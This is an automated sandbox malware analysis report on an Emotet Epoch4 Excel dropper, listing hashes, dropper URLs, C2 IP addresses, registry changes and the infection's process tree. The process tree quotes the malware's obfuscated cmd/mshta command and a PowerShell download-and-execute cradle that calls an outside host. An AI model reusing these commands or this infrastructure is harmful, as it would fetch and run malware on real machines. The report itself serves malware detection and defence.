emotet | 79d708ce28a18ccaeffa88968dbebb4f5bdbde87f7bf9f5f2237b42db2bbac10

Analysis

max time kernel
59s
max time network
37s
platform
windows7_x64
resource
win7-en-20211208
submitted
28-01-2022 03:24

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Report Analysis Logs

General

Target

2022-1-28-a43f25c31c035e3914ec0034f5c9fb07.xls
Size

46KB
MD5

a43f25c31c035e3914ec0034f5c9fb07
SHA1

2d691e4ca3a1dce9db2d997554aadc7f8320c944
SHA256

79d708ce28a18ccaeffa88968dbebb4f5bdbde87f7bf9f5f2237b42db2bbac10
SHA512

32025211fc94f108cd512b585849df104a6523d1bd1a16cad95b18748126528c39f8c42dd9c2bf36875c5310fb2dd6802189c34839cb4b96664735244442e07e

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	972	1960	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 516 mshta.exe
5 1688 powershell.exe
7 1688 powershell.exe
9 800 rundll32.exe
11 800 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1648 rundll32.exe
1648 rundll32.exe
1648 rundll32.exe
1648 rundll32.exe
1596 rundll32.exe
1596 rundll32.exe
1596 rundll32.exe
1596 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Olxyaxerdbf\adszmzyyhhgpw.spl rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	516	mshta.exe
5	1688	powershell.exe
7	1688	powershell.exe
9	800	rundll32.exe
11	800	rundll32.exe

pid	process
1648	rundll32.exe
1648	rundll32.exe
1648	rundll32.exe
1648	rundll32.exe
1596	rundll32.exe
1596	rundll32.exe
1596	rundll32.exe
1596	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Olxyaxerdbf\adszmzyyhhgpw.spl	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1960 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1688 powershell.exe
800 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1688 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1960 EXCEL.EXE
1960 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1960 EXCEL.EXE
1960 EXCEL.EXE
1960 EXCEL.EXE

pid	process
1960	EXCEL.EXE

pid	process
1688	powershell.exe
800	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1688	powershell.exe

pid	process
1960	EXCEL.EXE
1960	EXCEL.EXE

pid	process
1960	EXCEL.EXE
1960	EXCEL.EXE
1960	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1960 wrote to memory of 972	1960	EXCEL.EXE	CMD.EXE
PID 1960 wrote to memory of 972	1960	EXCEL.EXE	CMD.EXE
PID 1960 wrote to memory of 972	1960	EXCEL.EXE	CMD.EXE
PID 1960 wrote to memory of 972	1960	EXCEL.EXE	CMD.EXE
PID 972 wrote to memory of 516	972	CMD.EXE	mshta.exe
PID 972 wrote to memory of 516	972	CMD.EXE	mshta.exe
PID 972 wrote to memory of 516	972	CMD.EXE	mshta.exe
PID 972 wrote to memory of 516	972	CMD.EXE	mshta.exe
PID 516 wrote to memory of 1688	516	mshta.exe	powershell.exe
PID 516 wrote to memory of 1688	516	mshta.exe	powershell.exe
PID 516 wrote to memory of 1688	516	mshta.exe	powershell.exe
PID 516 wrote to memory of 1688	516	mshta.exe	powershell.exe
PID 1688 wrote to memory of 888	1688	powershell.exe	cmd.exe
PID 1688 wrote to memory of 888	1688	powershell.exe	cmd.exe
PID 1688 wrote to memory of 888	1688	powershell.exe	cmd.exe
PID 1688 wrote to memory of 888	1688	powershell.exe	cmd.exe
PID 888 wrote to memory of 1648	888	cmd.exe	rundll32.exe
PID 888 wrote to memory of 1648	888	cmd.exe	rundll32.exe
PID 888 wrote to memory of 1648	888	cmd.exe	rundll32.exe
PID 888 wrote to memory of 1648	888	cmd.exe	rundll32.exe
PID 888 wrote to memory of 1648	888	cmd.exe	rundll32.exe
PID 888 wrote to memory of 1648	888	cmd.exe	rundll32.exe
PID 888 wrote to memory of 1648	888	cmd.exe	rundll32.exe
PID 1648 wrote to memory of 1596	1648	rundll32.exe	rundll32.exe
PID 1648 wrote to memory of 1596	1648	rundll32.exe	rundll32.exe
PID 1648 wrote to memory of 1596	1648	rundll32.exe	rundll32.exe
PID 1648 wrote to memory of 1596	1648	rundll32.exe	rundll32.exe
PID 1648 wrote to memory of 1596	1648	rundll32.exe	rundll32.exe
PID 1648 wrote to memory of 1596	1648	rundll32.exe	rundll32.exe
PID 1648 wrote to memory of 1596	1648	rundll32.exe	rundll32.exe
PID 1596 wrote to memory of 1188	1596	rundll32.exe	rundll32.exe
PID 1596 wrote to memory of 1188	1596	rundll32.exe	rundll32.exe
PID 1596 wrote to memory of 1188	1596	rundll32.exe	rundll32.exe
PID 1596 wrote to memory of 1188	1596	rundll32.exe	rundll32.exe
PID 1596 wrote to memory of 1188	1596	rundll32.exe	rundll32.exe
PID 1596 wrote to memory of 1188	1596	rundll32.exe	rundll32.exe
PID 1596 wrote to memory of 1188	1596	rundll32.exe	rundll32.exe
PID 1188 wrote to memory of 800	1188	rundll32.exe	rundll32.exe
PID 1188 wrote to memory of 800	1188	rundll32.exe	rundll32.exe
PID 1188 wrote to memory of 800	1188	rundll32.exe	rundll32.exe
PID 1188 wrote to memory of 800	1188	rundll32.exe	rundll32.exe
PID 1188 wrote to memory of 800	1188	rundll32.exe	rundll32.exe
PID 1188 wrote to memory of 800	1188	rundll32.exe	rundll32.exe
PID 1188 wrote to memory of 800	1188	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2022-1-28-a43f25c31c035e3914ec0034f5c9fb07.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1960

C:\Windows\SysWOW64\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:972

C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:516

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1688

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:888

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1648

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1596

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Olxyaxerdbf\adszmzyyhhgpw.spl",vqTBwmOGddD
8⤵
- Suspicious use of WriteProcessMemory
PID:1188

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Olxyaxerdbf\adszmzyyhhgpw.spl",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:800

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll

MD5
4be9fda9a2fdb10c36a1ce820b676e7e

SHA1
fd74db40bdbc55c29ec996f32d7b7332088f32b2

SHA256
f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1

SHA512
878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed

Download Submit
\ProgramData\QWER.dll

MD5
4be9fda9a2fdb10c36a1ce820b676e7e

SHA1
fd74db40bdbc55c29ec996f32d7b7332088f32b2

SHA256
f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1

SHA512
878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed

Download Submit
\ProgramData\QWER.dll

MD5
4be9fda9a2fdb10c36a1ce820b676e7e

SHA1
fd74db40bdbc55c29ec996f32d7b7332088f32b2

SHA256
f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1

SHA512
878ee58f42dd8e2b7c4010bdb3f954b1d537da8bf6448f8963817d395846ebbaf9eca4e61638810aec5d64029a3aa77701f584362bf65fef095de4529a8f88ed

Download Submit
\ProgramData\QWER.dll

MD5
4be9fda9a2fdb10c36a1ce820b676e7e

SHA1
fd74db40bdbc55c29ec996f32d7b7332088f32b2

SHA256
f5f55f383321f7aa4a973677be3a538c236f0c6eb87b8edc3fbe43433a0f8dc1

SHA512
